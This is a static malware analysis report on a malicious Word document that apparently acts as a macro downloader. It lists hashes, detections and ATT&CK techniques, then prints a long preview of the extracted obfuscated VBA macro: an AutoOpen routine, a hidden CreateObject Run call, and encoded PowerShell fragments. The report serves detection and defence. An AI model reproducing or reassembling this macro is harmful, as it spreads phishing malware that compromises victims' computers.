Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 06c8b963dbd676aa…

MALICIOUS

Office (OLE)

203.5 KB Created: 2018-03-23 18:08:00 Authoring application: Microsoft Office Word First seen: 2018-04-30
MD5: a04c21ffa3e935f36d32122987e0f944 SHA-1: 8c90c581f3d7e630054397f93484f7e8ca2a3d09 SHA-256: 06c8b963dbd676aad883f065d0730a0f23d6e6651fd77e9fe42556aabd1e235d
192 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro. Heuristics indicate the presence of an AutoOpen macro that uses CreateObject to execute code. The ClamAV detection name 'Doc.Malware.Emodldr' suggests it acts as a downloader. The VBA macro itself is heavily obfuscated but its presence and the associated heuristics strongly indicate a malicious intent to download and execute a secondary payload.

Heuristics 8

  • ClamAV: Doc.Malware.Emodldr-10025032-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emodldr-10025032-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    End Select
CreateObject(EoHEmuENNhDBO).Run rVPFEdVXJpjiaa + Chr(VBA.vbKeyC) + nkCHimP + QiNhUwwwfhMaA + aoPDLwJ, vbHide
Select Case JHdbNM
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "VwlhiwDPz"
Sub AutoOpen()
On Error Resume Next
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 70096 bytes
SHA-256: 02af5efb717129fbcf5082dcfd00da0579a6d82df30a1e53ed2545cff11124f2
Detection
ClamAV: No threats found
Obfuscation or payload: likely
777 of 1269 identifiers look randomly generated (e.g. 'wWDcANgAzADkAMgAwADEAMwA4AGMAYQAxADUAMwA') — consistent with name-mangling obfuscation. Carved artifact contains 21 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "DFMTfRkjLSAC"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "JvnkQljU"
Function osaOvBb()
On Error Resume Next
Select Case ZiMPR
         Case 25969
            LDBSz = Log(85545)
            SjVBha = Int(CPsFT)
            vQLVB = 14315
      End Select
      If TDQQz Or 61995 Then
         aRnrkw = CLng(pDptbI)
End If
aOuZSc = AFVcKN("YoaN%BiAGQAOQBhADAAYwA4UlQj", 6, 18)
Select Case WPUKw
         Case 91113
            vrfQp = Log(82959)
            OSFEB = Int(zkcAUW)
            GMWca = 98030
      End Select
      If wowGz Or 70882 Then
         iZHbu = CLng(iakjo)
End If
Select Case YthhI
         Case 9692
            GRmVB = Log(67869)
            NAFsLP = Int(kiBOTX)
            UowmYq = 55190
      End Select
      If DBzIL Or 39155 Then
         ItHFD = CLng(iKuGcf)
End If
BMLZL = AFVcKN("hhAGMAZAA0AGQAYgBkADIAZABlAUnPrHM", 2, 26)
Select Case LfTphj
         Case 72698
            njdsCs = Log(94449)
            tCDPk = Int(IGOUt)
            dDfwLp = 18726
      End Select
      If hKbbi Or 44025 Then
         JdMBC = CLng(GBDYPD)
End If
Select Case iYoni
         Case 97232
            MvsbkL = Log(39008)
            kvCcmt = Int(JniVQ)
            lAJjD = 3810
      End Select
      If ZJowi Or 65536 Then
         jRzQm = CLng(CMuTQu)
End If
rHcUjk = AFVcKN("0aDMAOQA3ADAANQAxADMAZABjAGEAYgA0AGEAZAA2wjoG", 3, 39)
Select Case SOAENi
         Case 42563
            vjujJE = Log(26876)
            GDzEUj = Int(qSiYDZ)
            qPJYz = 21393
      End Select
      If klwLz Or 69985 Then
         Cjdnom = CLng(PSpImW)
End If
Select Case WLFcR
         Case 99265
            jWcTdi = Log(89375)
            OojUXp = Int(YiXDt)
            CwPpqE = 63737
      End Select
      If TbwZp Or 2736 Then
         rdknih = CLng(Kojwb)
End If
SbzfqDst = AFVcKN("GAOQAxAGYANAAxAGEAYQBmAGIAYQA3ADgAMQAzAGUANQBhADUANQA1ADYAMQBiAGEANgBlAGEA' |ConVERTto-SecuReSTRing  -k 24,234,8,12,zcU c3N%", 2, 115)
Select Case mWFOG
         Case 83554
            YMinZN = Log(28049)
            Nmvhod = Int(FnPODB)
            bIrcUd = 94034
      End Select
      If iSwXI Or 60256 Then
         zNQTGz = CLng(lQnjF)
End If
Select Case nmaBnj
         Case 52856
            uSWUU = Log(54728)
            hFMcid = Int(IQVpUd)
            HzQwh = 78443
      End Select
      If TCuLk Or 70020 Then
         pkrzJ = CLng(TUKUYz)
End If
nvILNhz = AFVcKN("9GUZABmAGYAZgAzADAAZAAzADIAYQAyADYANwBjADgAMgAyAGQANQA2ADkAMAA1ADMAZAAxADEAYgAxAGYAMAAwADMAMQA2ADUAZQBkAGYAYwBjAKucnaZ", 4, 109)
Select Case dJfzO
         Case 95711
            mSGYn = Log(76284)
            NCSRwt = Int(SfdsL)
            nnpvXh = 69202
      End Select
      If JXzzmd Or 75094 Then
         iTJVD = CLng(RrDZG)
End If
Select Case hDhri
         Case 43780
            flaJll = Log(26252)
            CiWfd = Int(KNBQZ)
            idauI = 72574
      End Select
      If sLvzrr Or 40110 Then
         rFJRt = CLng(VVjFv)
End If
ochiRwKbMXK = AFVcKN("6z0 ANwA2ADIAMQA1AGUAZABhAGQANwt@u", 5, 26)
Select Case jXpjbF
         Case 38812
            BKfAz = Log(3770)
            uHffn = Int(PSIsw)
            AJIupM = 77474
      End Select
      If VWPXlX Or 25124 Then
         hZIRr = CLng(bNAaHo)
End If
Select Case hzUzP
         Case 50428
            nfYAjO = Log(13829)
            wpXwY = Int(wLuHl)
            RwTEfz = 58246
      End Select
      If JwznV Or 77124 Then
         kbWsU = CLng(AlttO)
End If
wnNENJwCKd = AFVcKN("pBkADYAYgBlADgAOABkADkAZQBmADQANgAzAGQAOABkADAANgAzAGIAMwBmADkAYgAzADUAwVjQpQ", 2, 70)
Select Case JioZr
         Case 58403
            jqLUUl = Log(69234)
            Nzqkdk = Int(NkYPRr)
            LaLRm = 40837
      End Select
      If UYHJqH Or 42705 Then
         GBGkI = CLng(lCIlZR)
End If
Select Case ldzfYC
         Case 22125
            hPCUjQ = Log(12191)
            qtOQwE = Int(arbVKd)
            GSCQK = 36992
      End Select
      If uFPULF Or 80383 Then
         lqVFl = CLng(LoOkhr)
End If
jKTZSSa = AFVcKN("YBZjADkAOA1tc", 5, 6)
Select Case owhBP
         Case 28016
            kRQFn = Log(86684)
            nwvnzw = Int(FlzEs)
            udnfdb = 16147
      End Select
      If JiTvq Or 62259 Then
         TZQSrp = CLng(pTziv)
End If
Select Case wYtjt
         Case 84345
            PidVzf = Log(50894)
            zNBUaA = Int(kHaVhO)
            kkaiz = 891
      End Select
      If GcdwOC Or 59587 Then
         LjGrjR = CLng(TiXVPn)
End If
pijiTqlcA = AFVcKN("03MAGMAOAA2AGUAN1pO2", 5, 12)
Select Case GXKOHt
         Case 85090
            RhaZtk = Log(45797)
            LwBKv = Int(PphqrR)
            KckmVW = 10990
      End Select
      If AvlhRP Or 47431 Then
         HYIvG = CLng(XOdpM)
End If
Select Case jVLWX
         Case 90549
            SotVv = Log(70757)
            IUbfV = Int(jRDLw)
            JqHqI = 4046
      End Select
      If wSizL Or 88987 Then
         AfdKm = CLng(PuVXc)
End If
PolEnwmGwV = AFVcKN("iAMwBiADYAYgA2AGIAOQBlADUANgBkADQAYgA3AGEANABhAGYAYwA2AGIAZQAzADEANQBmADkAMgAxADYAZABjAGQAMQA0AGUAYgA3AGMAYwA0ADcAOAA0AGMAZQBhADAAZQBhADgAMAA1ADEANw5sqFh", 2, 147)
Select Case zdrOSz
         Case 46632
            lPKwk = Log(36742)
            oFdVQl = Int(MBosY)
            DOUkNT = 8852
      End Select
      If EDMzmq Or 31213 Then
         UiaTca = CLng(rCMDdR)
End If
Select Case mlPJA
         Case 69890
            mDASIA = Log(51652)
            OiDVS = Int(XCKHRj)
            PvkEC = 31101
      End Select
      If YAwVu Or 72905 Then
         OrQsn = CLng(QJztI)
End If
ZFzNUMRnuRo = AFVcKN("RdLObalALlocunIcODe( $('76492d1116743f0423413b16050a5345MgB8AGMAWABDAHQAUABZAGcANwA0ADcASgBCAEMAeABzAFQAVwAxAFkATgA3AGcAPQA9AHwAMgBjADcAYgAxADI1pELqo", 3, 141)
Select Case OOjFBj
         Case 1070
            WHQNF = Log(69897)
            jOjhb = Int(kJKuPi)
            GGvqw = 28122
      End Select
      If novzm Or 87817 Then
         oHbCm = CLng(ojvTL)
End If
Select Case OSvYG
         Case 61563
            jGdfi = Log(84146)
            OJriY = Int(ADScS)
            HjLKz = 29260
      End Select
      If LCiCIw Or 21331 Then
         dWTGW = CLng(jnaRYE)
End If
KhsZMZ = AFVcKN("%tcDMAZQAzADEAMQAxADQAYgBmAGIANAA0ADYAYQBhADAAMABkADYAYgA2ADEAZAAxADIANwAzAGMAMQA5AGMAMwA1AGUAYwBmAGMAOQA2ADcANwBhADcAZQBlADYAZAAwADQAYwAwADUANwA1ADAAOQBlADEAYQBhQ7U00n", 4, 159)
Select Case XKzSF
         Case 91345
            XUvdQ = Log(80013)
            MjGjiN = Int(XhwWw)
            bvktb = 20988
      End Select
      If nsikDA Or 74698 Then
         IapqjM = CLng(GUiqr)
End If
Select Case ikJkz
         Case 79753
            WuznHj = Log(37161)
            cCNAr = Int(XCDBbF)
            UzSOuq = 28178
      End Select
      If zjAzp Or 39693 Then
         uhhFz = CLng(pimENb)
End If
EDSaAuNZCbt = AFVcKN("wWDcANgAzADkAMgAwADEAMwA4AGMAYQAxADUAMwA0ADQANQA3AGMAMgAwAGMANwA4ADkAOAA4AGEAZgAzADcANwA0ADkAMABhADAAZgAwAGQAMwA1ADQANgBmADzM@", 3, 120)
Select Case hFiXj
         Case 1609
            vfYNq = Log(8990)
            cVNDBV = Int(IWTWF)
            fQfJjP = 6185
      End Select
      If uwcNoS Or 49801 Then
         IUPvs = CLng(MZBLG)
End If
Select Case bGjiT
         Case 22262
            QSpPS = Log(93672)
            EMdpT = Int(PmtUVn)
            VmqFAc = 9570
      End Select
      If wACCD Or 53852 Then
         jNLbJ = CLng(OuTiVf)
End If
jjtFmj = AFVcKN("rpwAzADAAMQA3ADMANwA0ADQAMAA3AGQANgAxAGMAYQA4AGEAYQA1ADUAZAA2ADkAMgBhADAANAA3AGMAYQA0AGUAZgBmADgAOABiADIAMgAxADIANwA1ADAAYwBhADAAZgAwADMANQAzADYAMwBiADcANAAwAGUAZAA2ADMAqTpn", 3, 167)
Select Case pMLJfi
         Case 94887
            bkOprz = Log(12205)
            amPDN = Int(fJuin)
            rXWfz = 27108
      End Select
      If lotWUi Or 45641 Then
         dwlRp = CLng(iswFb)
End If
Select Case MzUuPU
         Case 93214
            XwYjb = Log(95749)
            acEYv = Int(UXHlo)
            iitqr = 32692
      End Select
      If ifFtt Or 745 Then
         HtpiNt = CLng(zaJvqc)
End If
UJkLD = AFVcKN("pcBd@BADUAYQA4AGQAZgA5ADMAZAA0ADkAMQA3ADkAYgBjADYAMQA5AGQAYQAwADkAZgBhAGEANwAxAGIAZABiAGYANQAzADUAYgAxADUAOQdW", 7, 102)
Select Case rbNIb
         Case 5809
            fiGjP = Log(9378)
            aUjKY = Int(vaicYv)
            jIjuBo = 97395
      End Select
      If EskSzj Or 53982 Then
         jwwoT = CLng(FakRi)
End If
Select Case cLCXaK
         Case 48705
            RtuLPS = Log(1793)
            MMmliV = Int(EwZpI)
            noEwOR = 90826
      End Select
      If CmIuF Or 69534 Then
         XYwtU = CLng(spXcI)
End If
UJlvcUdiZNQ = AFVcKN("RBXJMABjADcAzJz2", 5, 8)
Select Case owZBU
         Case 32781
            iEpPA = Log(1629)
            iKaiq = Int(lUhZcw)
            VuzjTF = 21248
      End Select
      If Jcknd Or 6137 Then
         whJvs = CLng(aiOtl)
End If
Select Case DKcbC
         Case 60781
            JtLMl = Log(20229)
            BqcrS = Int(zjzaCA)
            DFVuta = 22200
      End Select
      If iUpiN Or 39477 Then
         sMGkCD = CLng(TDNLiO)
End If
wTzQLKzPTZT = AFVcKN("d4vxADgAZgAyADUAMgAwADcAOQA4AGYAZQA1ADkAMwA0AGYAZgBmAGQAYQt4Jzz", 4, 55)
Select Case MCYCA
         Case 94403
            XQSKw = Log(26418)
            WnJFZ = Int(rlTSz)
            FlShir = 93648
      End Select
      If SSQfMX Or 77939 Then
         vnZDq = CLng(zQDGJK)
End If
Select Case VuGdc
         Case 74459
            XJvHDP = Log(50481)
            EFjwRz = Int(qLGvU)
            uHYhXH = 73773
      End Select
      If wIaaRQ Or 3357 Then
         vCsLXP = CLng(nPkGA)
End If
Mkfnr = AFVcKN("MSnL%MQA1ADUAZQBkADUANwAxAGEAYwBlADEAYwBhADIAOABlADMAMwAyAGIAYQAxAGEAMQBlADgAYgAxAGEAYQA0ADEAYwA0ADIAa6M", 6, 96)
Select Case vXhSH
         Case 57066
            WafIn = Log(85264)
            wGVAi = Int(GPDCJ)
            fwkRn = 1057
      End Select
      If vDlsIJ Or 74178 Then
         NVXkXf = CLng(MjtkX)
End If
Select Case NaIXRj
         Case 528
            QzPlkr = Log(18799)
            ptndB = Int(ELitcr)
            WjcHTT = 37421
      End Select
      If qmDnY Or 11239 Then
         Nfzti = CLng(JGrPwk)
End If
PjHsObOwwB = AFVcKN("mZtgAwADMAMwA1ADgAMgBmAGMAO@SbCG", 4, 23)
Select Case ztYEJ
         Case 81218
            QniRXq = Log(66200)
            GjqcXs = Int(zvjMVM)
            krUjzV = 94038
      End Select
      If ziiLw Or 50557 Then
         jWouL = CLng(HZVMdz)
End If
Select Case lifcrs
         Case 42448
            DXVmu = Log(12664)
            YJSvz = Int(rnQXsJ)
            TkuRuc = 20413
      End Select
      If bvDonU Or 36145 Then
         vlvsm = CLng(TPnmBu)
End If
tSnlv = AFVcKN("GHAOQBiADIAMgBjAGUAZAAwAGMAMgBiAGUANgA3ADAAOQBhADYAYgBiADAANgBkADIANgAyADIAMwBlADMAYgA4ADYANgA5ADEAMQA5ADUANwBkADAANAAyAGMAZQAwADkAYwAwADUGZ%l", 3, 136)
Select Case OFziXl
         Case 35328
            ErRvlw = Log(27573)
            HMiYN = Int(lwRMm)
            idIbQ = 86309
      End Select
      If qDGQi Or 823 Then
         rtdwBk = CLng(AjaWV)
End If
Select Case fDCAio
         Case 34356
            izEDw = Log(30154)
            EmKdoH = Int(jfmji)
            nNYqE = 84849
      End Select
      If tzwJf Or 21360 Then
         HnYLEv = CLng(maOrY)
End If
NfLEYzqO = AFVcKN("OCcYQBlAGQAYwBlADUAZgAxAGMAMwA5ADYAZQA5AGMA%oFZ", 4, 40)
Select Case dWWOwK
         Case 95226
            QYNzE = Log(19193)
            HqAzd = Int(utGac)
            CAnKzf = 32577
      End Select
      If WahLVN Or 64991 Then
         OKMAlR = CLng(jNtvSi)
End If
Select Case JodzUP
         Case 90201
            XcYnFI = Log(28074)
            qTvTHY = Int(lnKYQE)
            LZkihq = 41018
      End Select
      If FijOV Or 93327 Then
         VcjYoi = CLng(DOpkzr)
End If
UGmFdSiZj = AFVcKN("UAyADYAOABiADYAZQA0AGEANgBiADMAMQA4AGUAYQBhADUANABmAGIAZQA1ADEAMQBmADcANAA1AGQoDidMH", 2, 77)
Select Case Jriru
         Case 32777
            DWaYZW = Log(25722)
            msCst = Int(hsrPw)
            WWszq = 57113
      End Select
      If vnCXb Or 60557 Then
         SFFAOI = CLng(lczhHz)
End If
Select Case jMAKXi
         Case 89681
            iBUIp = Log(66735)
            TbRUY = Int(awtNU)
            uUQXB = 19386
      End Select
      If NjABZ Or 86688 Then
         HMlOF = CLng(hjdOD)
End If
ifuamZukW = AFVcKN("0zNgAzADAAYQA3AGMAMQAyADAAMwBJcnfmQM", 3, 27)
Select Case YbJNG
         Case 94489
            fAuOi = Log(35992)
            fVhTZs = Int(LANNfH)
            UKqBU = 91003
      End Select
      If iDVtEV Or 25364 Then
         MwGvH = CLng(MCKoKf)
End If
Select Case IFsLif
         Case 57239
            LGBOQ = Log(93152)
            WwMVbc = Int(aWwmkm)
            QGrjAb = 25933
      End Select
      If FhGCjj Or 65422 Then
         oSbFd = CLng(aTiNi)
End If
lwJddwKCFU = AFVcKN("WADkAYgAzADcAZABhADUAMQBiADEAMAAzADIAZABiADMAMgBlAGQANABmAGUANgBiADEANwBkADQAYgA4AGIAYgA2ADYANQBiADIAZgA0ADEAYgBjADgANwBiADQAMgA1ADUANAA5AGYAYgBlADAAMABlRYoFZl", 2, 152)
Select Case VNsvqN
         Case 89553
            JiPUj = Log(52112)
            fPZsts = Int(JTJhT)
            fYBmt = 65884
      End Select
      If soLLW Or 72929 Then
         wKCGYC = CLng(vEJVo)
End If
Select Case HzHRrX
         Case 65261
            iiUwT = Log(46404)
            ilHpC = Int(GcuvNJ)
            SDiVk = 8911
      End Select
      If ijlQM Or 35178 Then
         PGwps = CLng(iDZTpJ)
End If
SAYQw = AFVcKN("lmAAYwBmADkAMwA1ADEAMQAwAGMANQA0ADgAMwAzAGUAOAA1ADEAZQBkADIANgAxAGIANwAxAGUAZgA5ADYAYwAwAGQANgBmAGQAOABhAGIAZAA1AGMAYQA4ADkAYgBhADIANgAxADMAZAAxADkAOQA2ADEANQA2FzZL", 3, 158)
Select Case BVMWdN
         Case 18025
            azwLOz = Log(80461)
            Aqdjmr = Int(wGVLq)
            dKfbK = 44735
      End Select
      If UPnzI Or 29490 Then
         Gzdiws = CLng(ZdMZI)
End If
Select Case jlrKz
         Case 42173
            RqmjPH = Log(71864)
            REZsN = Int(IUEzK)
            LXHoDE = 4973
      End Select
      If Mtznr Or 6271 Then
         wjuczN = CLng(lKzfWJ)
End If
jHwhSwRmSb = AFVcKN("dJlTAMQBmAGEAMQA4ADAAYQA5AGMaQMJ", 5, 24)
Select Case QmKmq
         Case 46834
            izcLEj = Log(83152)
            GmAKP = Int(lKXLR)
            mwqYht = 56663
      End Select
      If GmABiF Or 30430 Then
         RRuimN = CLng(LiMuO)
End If
Select Case QVfSj
         Case 29549
            bJFOn = Log(27037)
            ktROpq = Int(kBCiW)
            MLNNHp = 51075
      End Select
      If KFOiW Or 90642 Then
         jXwVw = CLng(usDwhB)
End If
pTVjY = AFVcKN("ZLAANwAwADQAMwBkADAAYwBlAGYAOAAxADcAMABkAGEAZgBiADEAYwA2AGIAMgAxADkAYQAyADIAMwAxADUAMwBmAGUANgBkADQAMAA4ADkAYwA4AGEAMgBmAGIAOABiAGQAMQA4AGQAYwBhADIdGD7 ", 3, 145)
Select Case fTcoJi
         Case 79800
            vrGzn = Log(85320)
            oDkTuK = Int(iGIYl)
            SKPZn = 63474
      End Select
      If qcaUo Or 10848 Then
         ofpYKC = CLng(EAOOG)
End If
Select Case GcIzJV
         Case 17432
            NVlCb = Log(30004)
            YLDzKd = Int(Hbamm)
            ECopRw = 20703
      End Select
      If KsuZOM Or 22399 Then
         qYuMZ = CLng(WAjWJ)
End If
tMKJb = AFVcKN("0vJ4GMAZgA4ADEAZQAwAGEAZAAzADgAMgAxADcAZgAyADQAYQAwADAANQAxAGzI5", 5, 56)
Select Case VhWWjN
         Case 93072
            jwliE = Log(95350)
            TIavQ = Int(skBrZW)
            fnFumN = 31473
      End Select
      If VXpBQA Or 66145 Then
         mQHbqC = CLng(Iatzcz)
End If
Select Case CBACX
         Case 78012
            mALUY = Log(88989)
            mPjQtK = Int(bmAAG)
            RwNZw = 39863
      End Select
      If CrvlfI Or 39237 Then
         zSYjDE = CLng(TzMbb)
End If
HvVfclTOm = AFVcKN("vIFADMANAAwADAANAA0AGEAOAA5ADYAZAA5ADEAOABnZWo", 4, 39)
Select Case bOzCRZ
         Case 13741
            nmWDHl = Log(88720)
            vlkqm = Int(UcTCJz)
            NMXsrb = 56687
      End Select
      If iOiNzK Or 61991 Then
         dwTZz = CLng(bqlJz)
End If
Select Case kYBjh
         Case 45105
            bhOCQ = Log(62266)
            zNzcbI = Int(sSITSj)
            zbbdj = 66788
      End Select
      If kSuZZ Or 36641 Then
         rWcAHZ = CLng(UhEXD)
End If
WwAjZK = AFVcKN("t@qopBmAGUAYQA4AzGh", 6, 11)
Select Case rGtQOn
         Case 20343
            FnYjzq = Log(25903)
            FDBpMA = Int(fSKKHc)
            WFdFLi = 47264
      End Select
      If KmICmj Or 7166 Then
         KjsZc = CLng(WNRrJ)
End If
Select Case GbIntr
         Case 83215
            VFBRLc = Log(69648)
            rXZjBF = Int(BjXBU)
            uupFW = 900
      End Select
      If wpDuF Or 42860 Then
         izajHG = CLng(TrmLl)
End If
qiPki = AFVcKN("pzh4AGEAMQAzADgAYQBhADYAYgA034S", 5, 24)
Select Case JGDVq
         Case 44628
            bKLLp = Log(53905)
            hBTfif = Int(jEIou)
            qaCCu = 70934
      End Select
      If urlhDh Or 3533 Then
         XmOti = CLng(pRYHjG)
End If
Select Case GKwoz
         Case 10989
            wBGrO = Log(57388)
            IGEpM = Int(DtOmPt)
            uYzdA = 24185
      End Select
      If WCRwD Or 64487 Then
         Wdklz = CLng(XzJzi)
End If
YpzHDdTJuC = AFVcKN("taKhNQBhADAAMQBmADQAOAA0AGYAMAA0ADkAMAAwADMAOABlADQANQAwAGUANwA3ADQAYwA5ADkAZAA5ADQAYwBmADcAZABmADIANQBmADYAZQA4ADQAMwBiADMANQAyADUAYgAzA7o.hY", 5, 133)
Select Case tUMwK
         Case 47340
            qSaDd = Log(82711)
            RfGpH = Int(fGjQdA)
            TqvOA = 89577
      End Select
      If TrJGHX Or 98887 Then
         BwZHuz = CLng(stUpw)
End If
Select Case TwaFib
         Case 16897
            Gpcwz = Log(14598)
            tbqoIU = Int(ozLKOh)
            klHHF = 73631
      End Select
      If djuZMJ Or 71910 Then
         EEWATr = CLng(hJRioH)
End If
niLcFct = AFVcKN("f8DADgAMAA0ADYAYgA2ADEAMQAHInTYz", 4, 23)
Select Case tTNbFW
         Case 7921
            quVsP = Log(85141)
            OwKtts = Int(oONKq)
            zpazr = 2008
      End Select
      If bMlEPq Or 68473 Then
         cfbcB = CLng(uVUuOj)
End If
Select Case vuMziD
         Case 51975
            UrCKJ = Log(84984)
            RqNczv = Int(vIriun)
            QArDW = 35466
      End Select
      If wdIPp Or 28329 Then
         zfJYVj = CLng(Glwrs)
End If
WCdtpRCdw = AFVcKN("Ic3ADUANwBlADIAOQBlADMANABlAGIAZgA0ADUAMwAzAGYANgAyADMAYwAyADgAZAA2ADcAYwBjAGUAOQA5ADQANgBhADMANwAoAFiJd", 3, 96)
Select Case zDGEJn
         Case 22519
            rLHmZ = Log(34043)
            NENIj = Int(zdhFY)
            uKPvM = 58361
      End Select
      If WvXDF Or 3965 Then
         mGUCl = CLng(Onsjii)
End If
Select Case wnjscL
         Case 9596
            rmZsP = Log(6808)
            BlGJDF = Int(MjcOlA)
            nOtLJj = 73429
      End Select
      If puzMVm Or 41985 Then
         RNpQP = CLng(WRAmU)
End If
hPILr = AFVcKN("HyAGQAZABkZmvBTt", 2, 9)
Select Case APNaEf
         Case 8753
            fjGUA = Log(17061)
            LJqjpq = Int(KBvkc)
            scLXOK = 85481
      End Select
      If hZIph Or 95654 Then
         kHVQGH = CLng(HJCfl)
End If
Select Case aJKWLu
         Case 61737
            AwaKJf = Log(45844)
            FqoEUT = Int(vJrInh)
            ijBdS = 63112
      End Select
      If utFBz Or 94766 Then
         tDOmiN = CLng(wFDaG)
End If
BjYLiaCijY = AFVcKN("F.zADgAOAAwADAANQAzAGUAMwA0ADMAZgA0ADMAYwBlAGEAYwA0ADIANQBmADIAYgA1ADcAMQBjADYAMAA0AGQAZABmADgAYgAyAGMAYwAzAGUAZABiAGYAYgAxAGQAYgA4AGMAZQAzAGEANo6Eq", 4, 141)
Select Case PNUls
         Case 22666
            OtJjMr = Log(38609)
            zjCVW = Int(CFdWJ)
            VkbwD = 22883
      End Select
      If FhZTJ Or 75806 Then
         YzuhZ = CLng(tsAWAE)
End If
Select Case mqWarY
         Case 13212
            OGzrcs = Log(86805)
            dmlMbm = Int(SYZzDJ)
            munjw = 56417
      End Select
      If WEuGZN Or 77447 Then
         UCjRo = CLng(DaHMzr)
End If
iTaToQvIzDv = AFVcKN("jLQr@V,183,71,148,178,21,50,159,6,240,231,115,44) ) )) ) z1", 7, 51)
Select Case BRZCk
         Case 6178
            CEswP = Log(87445)
            iqFBY = Int(BEXSm)
            liUjX = 94261
      End Select
      If kVmUDp Or 20272 Then
         NPJkC = CLng(TVjBKa)
End If
Select Case mVJIz
         Case 49396
            MoioXf = Log(27300)
            OSQMo = Int(krIhz)
            IzJVWE = 68935
      End Select
      If qfHJG Or 53663 Then
         ARkbO = CLng(TLJwqT)
End If
ZuIpKaw = AFVcKN("%AdGMANwBlAGUAYQA1ADMAYwBmADEAMABmAGIAMAA4ADIAOQBmADUAZQBjAGQAZABjADMAZABmADcAYQA4ADgANwBmADkAZQBiADMANQA3ADUAZQAyADYAOQA3ADQAZgBhADcAMgAxADgAZAAzADUANwAxADYAZgBkAGIAYQA3ADgAYQA2ADKv@", 4, 177)
Select Case CdBaA
         Case 89925
            OfNSSv = Log(4930)
            iKGGM = Int(jaXGij)
            mzZfka = 17429
      End Select
      If ijJLn Or 11920 Then
         ESISs = CLng(dwpkG)
End If
Select Case XFXWS
         Case 86048
            kjsFwI = Log(68360)
            ZoqhiK = Int(LpXiv)
            UAlwws = 67493
      End Select
      If CAiaPi Or 97437 Then
         kHKUV = CLng(iPLGqL)
End If
dfQVVXkD = AFVcKN("F249,27,29,104,231,70,234,251Msoiv", 2, 28)
Select Case hwozzQ
         Case 60399
            JAQAz = Log(43938)
            HHPcMA = Int(QUabo)
            WkpCX = 65327
      End Select
      If CucRS Or 37045 Then
         bHtTV = CLng(rHErN)
End If
Select Case bMvQB
         Case 49646
            VGDkS = Log(79252)
            ujpfuf = Int(JjEla)
            oGAsjW = 50079
      End Select
      If MwAOV Or 12539 Then
         mJpmoQ = CLng(GjWZE)
End If
LORuTuhWBH = AFVcKN("hAzADMANQBkAGEAYQA3ADIAYgAzAGQAYQAyADcAZgA3ADUAZgA2ADYANgBlADQANgA2AGEAYgA2FcFHOz", 2, 74)
Select Case Scrib
         Case 56627
            OGKAwP = Log(42819)
            ipRZYB = Int(aOzmf)
            zRWKS = 3965
      End Select
      If kGVns Or 44282 Then
         fwpqZu = CLng(YtEAfW)
End If
Select Case vASawB
         Case 16124
            izqrIa = Log(10482)
            aVXhP = Int(YmTUiU)
            zzvhhK = 6527
      End Select
      If dZZEF Or 18920 Then
         jojHC = CLng(WHHEj)
End If
ifBhVXcz = AFVcKN("5AOQBlAGEAMQAyADgAMABmAGIAYwA2ADMANwBmADQANgAwAGUAOAA5ADUAMwA4AGUANQA2ADcAYgBmADEAZABjAGIANABmADUAOQA1ADcAZABlADYAZQBkADMAZgBhAGMAYwBkAGIAZQBmAGIAZAAxADUAMABiAGIANAA4ADQAZQAzADQANwBkADcAYgA5ADcpLN1D4", 3, 191)
Select Case bjGbX
         Case 76836
            izvJa = Log(30470)
            Azvwd = Int(XEFfl)
            RWdpn = 55525
      End Select
      If wbbWz Or 4327 Then
         zfUki = CLng(rAGYM)
End If
Select Case WXjrt
         Case 37253
            OYsDrH = Log(80993)
            GPQoQI = Int(wTrho)
            jczSoL = 8681
      End Select
      If RWTuR Or 66728 Then
         MXXNP = CLng(qSNqiE)
End If
WsGcWj = AFVcKN("wa6aYwAyADcAYQAyADQAOAAxADYAMQBhAGMANQA2ADIAOABjADq0r2Z", 5, 46)
Select Case bMzMf
         Case 2959
            vvkDwl = Log(45069)
            szuwZA = Int(wUUYGp)
            kcJGw = 66876
      End Select
      If WHOQz Or 38143 Then
         nUQiQ = CLng(ZQvfi)
End If
Select Case XNTzMi
         Case 47680
            DOUhuP = Log(62753)
            SThLc = Int(PziPCL)
            viXYw = 86587
      End Select
      If kcLdGK Or 16193 Then
         lSvMip = CLng(dNTwbw)
End If
DqlzSf = AFVcKN("HUd1AGYANAAxAGIAZgBlAGIAYQAzAGUAZgBkAGYANQAzADYAOQAzADMANgAzAGQAMAA1ADkAMQAwADIANwAyAGQAYQBkAGEANAAzADkAOAA5ADAANgA3AGQAMQA5AGQAYwBjADgAZJ01", 5, 133)
Select Case PwbNP
         Case 16167
            zJvWzn = Log(80897)
            EERnZ = Int(PTqdY)
            AKEzR = 72160
      End Select
      If MOBtv Or 33 Then
         oJApl = CLng(mVJPh)
End If
Select Case wOQInA
         Case 32358
            wYAPQR = Log(88195)
